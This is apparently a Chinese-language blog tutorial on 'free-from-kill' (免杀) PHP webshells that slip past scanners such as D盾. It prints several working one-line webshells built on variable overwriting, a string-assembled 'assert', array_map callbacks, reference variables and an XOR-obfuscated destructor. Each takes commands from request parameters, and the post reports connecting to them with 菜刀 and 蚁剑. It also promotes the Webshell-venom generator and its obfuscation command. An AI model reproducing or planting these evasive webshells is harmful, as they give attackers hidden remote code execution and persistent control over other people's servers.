能写的自己写,写不出的我找工具。

查杀工具

太多了,截图只列取前四个,或哪个检测出来了截图

Start

在渗透中,我们上传的Webshell如果不经过免杀的话,很可能被目标机器上的各种查杀工具杀出来然后直接杀掉,导致我们无法对目标服务器进行掌控,所以就需要学习到免杀技术

查杀手法

  • 静态检查通过匹配特征码、危险函数和木马特征值来查杀Webshell,其实就是正则匹配,然后这样子可以绕过程序的正则规则。
  • 动态检测通过木马程序的动态特征来检测,如我上传了1.php,那么我肯定会用菜刀去连接它1.php?password=@base64_decode(xxxx),然后程序找到这个文件执行后的操作来查杀。

0x1.变量覆盖

1
// 1.php
2
<?php
3
$a = '又是想出去的一天';
4
$b = '又是无聊爆的一天';
5
6
foreach ($_REQUEST as $key => $value) { // request接受的请求参数名放到$key值放到$value
7
	$$key = $value; // $$key表示把传入的参数变成php变量,$value为值
8
}
9
$b( $a );
10
11
// http://192.168.31.129/webshell/2.php?b=assert&a=phpinfo();

image.png-89.5kB

image.png-126.9kB

但是这里D爷没给我过

image.png-327.7kB

我们可以使用数组来绕过

1
// 2.php
2
<?php
3
$a = '又是想出去的一天';
4
$b = '又是无聊爆的一天';
5
6
foreach ($_REQUEST as $key => $value) {
7
	$$key = $value;
8
}
9
10
$c = array('fuck' => $b( $a ));
11
echo $c;

image.png-537.8kB

0x2.数组+自定义函数

1
// 3.php
2
<?php
3
$version = '$_Fuck';
4
$fuck = array('as'=>'awdakmafea','fuck'=>'fuck','e'=>'rt','rt'=>'oo');
5
$fuck = array_keys($fuck);
6
$fuck = $fuck[0].'s'.$fuck[2].$fuck[3]; //assert
7
$oo = @$_REQUEST['fuck'];
8
9
function f1($name1,$name2){
10
	return $name1($name2);
11
}
12
@f1($fuck,$oo);

image.png-50.8kB

绕过查杀工具列表所有。

image.png-621.6kB

后来发现,这样也可以

1
// 4.php
2
<?php
3
4
$c = $_REQUEST['cmd'];
5
6
function f1($name,$name2){
7
	return $name($name2);
8
}
9
f1('assert',$c);

0x3.回调函数

1
<?php
2
3
// 5.php
4
$a = substr_replace('ass123','ert',3); // assert
5
@array_map($a,array(@$_REQUEST['fuck'])); // 最终变成$a($_REQUEST['fuck']);

image.png-478.6kB

蚁剑连接情况

image.png-50.4kB

0x4.变量变变变

1
<?php
2
// 6.php
3
$a = 'assert';
4
$b = &$a;
5
$fuck = 'b';
6
$$fuck = &$a; // $b = assert;
7
$f1  = 'f2';
8
$$f1 = $_REQUEST['fuck']; // $f2 = $_GET['fuck'];
9
10
function b($name){
11
	return $name;
12
}
13
14
$aa = b($b);
15
$aa($f2);

image.png-548.8kB

菜刀连接情况

image.png-54.8kB

Webshell-venom自动化生成WebShell

yzddmr6师傅的项目,很有学习帮助!

这是一个自动生成免杀PHPJSPASPASPX的项目,测试如下

image.png-97.7kB

1
<?php
2
class XVPQ{
3
    function __destruct(){
4
        $QGEV='HV#ZLM'^"\x29\x25\x50\x3f\x3e\x39";
5
        return @$QGEV("$this->KNBW");
6
    }
7
}
8
$xvpq=new XVPQ();
9
@$xvpq->KNBW=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
10
?>

看看是否免杀

image.png-572.1kB

D盾免杀、护卫神查杀,那么我们看下他的另一个生成Webshell的办法是否可以绕过所有查杀。

image.png-155.8kB

1
python3 php_venom_3.3.py 1.php
2
# 将我们的一句话木马进行免杀处理

然后测试是否免杀

image.png-543.1kB

这样后就绕过查杀,然后测试一下其他脚本的免杀Webshell效果

image.png-337.9kB

如果是php的话,这个项目是真的不错!